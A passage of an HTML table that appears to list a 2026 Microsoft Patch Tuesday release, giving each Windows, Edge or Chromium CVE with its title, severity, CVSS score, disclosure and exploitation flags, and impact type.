  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27913">CVE-2026-27913</a></td>
  <td>Windows BitLocker Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>7.7</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26175">CVE-2026-26175</a></td>
  <td>Windows Boot Manager Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>4.6</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32162">CVE-2026-32162</a></td>
  <td>Windows COM Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>8.4</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20806">CVE-2026-20806</a></td>
  <td>Windows COM Server Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26176">CVE-2026-26176</a></td>
  <td>Windows Client Side Caching driver (csc.sys) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27926">CVE-2026-27926</a></td>
  <td>Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32070">CVE-2026-32070</a></td>
  <td>Windows Common Log File System Driver Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33098">CVE-2026-33098</a></td>
  <td>Windows Container Isolation FS Filter Driver Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26153">CVE-2026-26153</a></td>
  <td>Windows Encrypted File System (EFS) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32087">CVE-2026-32087</a></td>
  <td>Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32093">CVE-2026-32093</a></td>
  <td>Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32086">CVE-2026-32086</a></td>
  <td>Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32150">CVE-2026-32150</a></td>
  <td>Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27931">CVE-2026-27931</a></td>
  <td>Windows GDI Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27930">CVE-2026-27930</a></td>
  <td>Windows GDI Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32221">CVE-2026-32221</a></td>
  <td>Windows Graphics Component Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>8.4</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27906">CVE-2026-27906</a></td>
  <td>Windows Hello Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>4.4</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27928">CVE-2026-27928</a></td>
  <td>Windows Hello Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>8.7</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26156">CVE-2026-26156</a></td>
  <td>Windows Hyper-V Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32149">CVE-2026-32149</a></td>
  <td>Windows Hyper-V Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.3</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27910">CVE-2026-27910</a></td>
  <td>Windows Installer Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27912">CVE-2026-27912</a></td>
  <td>Windows Kerberos Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26179">CVE-2026-26179</a></td>
  <td>Windows Kernel Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26180">CVE-2026-26180</a></td>
  <td>Windows Kernel Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32195">CVE-2026-32195</a></td>
  <td>Windows Kernel Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26163">CVE-2026-26163</a></td>
  <td>Windows Kernel Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32215">CVE-2026-32215</a></td>
  <td>Windows Kernel Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32217">CVE-2026-32217</a></td>
  <td>Windows Kernel Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32218">CVE-2026-32218</a></td>
  <td>Windows Kernel Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26169">CVE-2026-26169</a></td>
  <td>Windows Kernel Memory Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>6.1</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27929">CVE-2026-27929</a></td>
  <td>Windows LUA File Virtualization Filter Driver Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32071">CVE-2026-32071</a></td>
  <td>Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20930">CVE-2026-20930</a></td>
  <td>Windows Management Services Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26162">CVE-2026-26162</a></td>
  <td>Windows OLE Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33101">CVE-2026-33101</a></td>
  <td>Windows Print Spooler Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32084">CVE-2026-32084</a></td>
  <td>Windows Print Spooler Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27927">CVE-2026-27927</a></td>
  <td>Windows Projected File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26184">CVE-2026-26184</a></td>
  <td>Windows Projected File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32069">CVE-2026-32069</a></td>
  <td>Windows Projected File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32074">CVE-2026-32074</a></td>
  <td>Windows Projected File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32078">CVE-2026-32078</a></td>
  <td>Windows Projected File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26167">CVE-2026-26167</a></td>
  <td>Windows Push Notifications Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>8.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32158">CVE-2026-32158</a></td>
  <td>Windows Push Notifications Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32159">CVE-2026-32159</a></td>
  <td>Windows Push Notifications Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32160">CVE-2026-32160</a></td>
  <td>Windows Push Notifications Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26172">CVE-2026-26172</a></td>
  <td>Windows Push Notifications Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20928">CVE-2026-20928</a></td>
  <td>Windows Recovery Environment Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>4.6</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32216">CVE-2026-32216</a></td>
  <td>Windows Redirected Drive Buffering System Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27909">CVE-2026-27909</a></td>
  <td>Windows Search Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26161">CVE-2026-26161</a></td>
  <td>Windows Sensor Data Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26174">CVE-2026-26174</a></td>
  <td>Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32224">CVE-2026-32224</a></td>
  <td>Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26154">CVE-2026-26154</a></td>
  <td>Windows Server Update Service (WSUS) Tampering Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>Tampering</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26165">CVE-2026-26165</a></td>
  <td>Windows Shell Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26166">CVE-2026-26166</a></td>
  <td>Windows Shell Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27918">CVE-2026-27918</a></td>
  <td>Windows Shell Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32151">CVE-2026-32151</a></td>
  <td>Windows Shell Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>6.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32225">CVE-2026-32225</a></td>
  <td>Windows Shell Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>8.8</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32202">CVE-2026-32202</a></td>
  <td>Windows Shell Spoofing Vulnerability</td>
  <td>Important</td>
  <td>4.3</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32082">CVE-2026-32082</a></td>
  <td>Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32083">CVE-2026-32083</a></td>
  <td>Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32068">CVE-2026-32068</a></td>
  <td>Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32183">CVE-2026-32183</a></td>
  <td>Windows Snipping Tool Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32089">CVE-2026-32089</a></td>
  <td>Windows Speech Brokered Api Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32090">CVE-2026-32090</a></td>
  <td>Windows Speech Brokered Api Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32153">CVE-2026-32153</a></td>
  <td>Windows Speech Runtime Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27907">CVE-2026-27907</a></td>
  <td>Windows Storage Spaces Controller Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32076">CVE-2026-32076</a></td>
  <td>Windows Storage Spaces Controller Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27908">CVE-2026-27908</a></td>
  <td>Windows TDI Translation Driver (tdx.sys) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27921">CVE-2026-27921</a></td>
  <td>Windows TDI Translation Driver (tdx.sys) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27915">CVE-2026-27915</a></td>
  <td>Windows UPnP Device Host Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27919">CVE-2026-27919</a></td>
  <td>Windows UPnP Device Host Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32075">CVE-2026-32075</a></td>
  <td>Windows UPnP Device Host Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27916">CVE-2026-27916</a></td>
  <td>Windows UPnP Device Host Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27920">CVE-2026-27920</a></td>
  <td>Windows UPnP Device Host Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32077">CVE-2026-32077</a></td>
  <td>Windows UPnP Device Host Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27925">CVE-2026-27925</a></td>
  <td>Windows UPnP Device Host Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>6.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32156">CVE-2026-32156</a></td>
  <td>Windows UPnP Device Host Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.4</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32223">CVE-2026-32223</a></td>
  <td>Windows USB Printing Stack (usbprint.sys) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>6.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32165">CVE-2026-32165</a></td>
  <td>Windows User Interface Core Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27911">CVE-2026-27911</a></td>
  <td>Windows User Interface Core Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32163">CVE-2026-32163</a></td>
  <td>Windows User Interface Core Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32164">CVE-2026-32164</a></td>
  <td>Windows User Interface Core Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23670">CVE-2026-23670</a></td>
  <td>Windows Virtualization-Based Security (VBS) Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>5.7</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27917">CVE-2026-27917</a></td>
  <td>Windows WFP NDIS Lightweight Filter Driver (wfplwfs.sys) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32080">CVE-2026-32080</a></td>
  <td>Windows WalletService Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32222">CVE-2026-32222</a></td>
  <td>Windows Win32k Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21637">CVE-2026-21637 *</a></td>
  <td> HackerOne: CVE-2026-21637 TLS PSK/ALPN Callback Exceptions Bypass Error Handlers</td>
  <td> Moderate</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33119">CVE-2026-33119</a></td>
  <td>Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability</td>
  <td>Moderate</td>
  <td>5.4</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33829">CVE-2026-33829</a></td>
  <td>Windows Snipping Tool Spoofing Vulnerability</td>
  <td>Moderate</td>
  <td>4.3</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5858">CVE-2026-5858 *</a></td>
  <td>Chromium: CVE-2026-5858 Heap buffer overflow in WebML</td>
  <td>Critical</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5859">CVE-2026-5859 *</a></td>
  <td>Chromium: CVE-2026-5859 Integer overflow in WebML</td>
  <td>Critical</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5272">CVE-2026-5272 *</a></td>
  <td>Chromium: CVE-2026-5272 Heap buffer overflow in GPU</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5273">CVE-2026-5273 *</a></td>
  <td>Chromium: CVE-2026-5273 Use after free in CSS</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5274">CVE-2026-5274 *</a></td>
  <td>Chromium: CVE-2026-5274 Integer overflow in Codecs</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5275">CVE-2026-5275 *</a></td>
  <td>Chromium: CVE-2026-5275 Heap buffer overflow in ANGLE</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
